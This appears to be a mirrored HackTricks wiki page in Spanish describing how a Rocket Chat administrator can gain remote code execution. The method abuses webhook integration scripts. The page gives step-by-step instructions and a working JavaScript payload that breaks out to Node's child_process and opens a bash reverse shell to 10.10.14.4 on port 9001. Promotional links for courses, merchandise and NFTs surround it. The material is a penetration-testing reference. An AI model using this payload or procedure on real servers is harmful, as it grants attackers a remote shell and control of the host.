mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-17 06:28:27 +00:00
69 lines
4 KiB
Markdown
69 lines
4 KiB
Markdown
# Rocket Chat
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprende hacking de AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
|
|
|
</details>
|
|
|
|
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
|
|
|
{% embed url="https://websec.nl/" %}
|
|
|
|
|
|
## RCE
|
|
|
|
Si eres administrador dentro de Rocket Chat puedes obtener RCE.
|
|
|
|
* Ve a **`Integrations`** y selecciona **`Nueva Integración`** y elige cualquiera: **`Incoming WebHook`** o **`Outgoing WebHook`**.
|
|
* `/admin/integrations/incoming`
|
|
|
|
<figure><img src="../../.gitbook/assets/image (263).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
* Según la [documentación](https://docs.rocket.chat/guides/administration/admin-panel/integrations), ambos utilizan ES2015 / ECMAScript 6 ([básicamente JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) para procesar los datos. Así que obtengamos un [rev shell para javascript](../../generic-methodologies-and-resources/shells/linux.md#nodejs) como:
|
|
```javascript
|
|
const require = console.log.constructor('return process.mainModule.require')();
|
|
const { exec } = require('child_process');
|
|
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
|
|
```
|
|
* Configurar el WebHook (el canal y publicar como nombre de usuario deben existir):
|
|
|
|
<figure><img src="../../.gitbook/assets/image (902).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
* Configurar el script del WebHook:
|
|
|
|
<figure><img src="../../.gitbook/assets/image (569).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
* Guardar cambios
|
|
* Obtener la URL del WebHook generada:
|
|
|
|
<figure><img src="../../.gitbook/assets/image (934).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
* Llámalo con curl y deberías recibir la rev shell
|
|
|
|
|
|
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
|
|
|
{% embed url="https://websec.nl/" %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|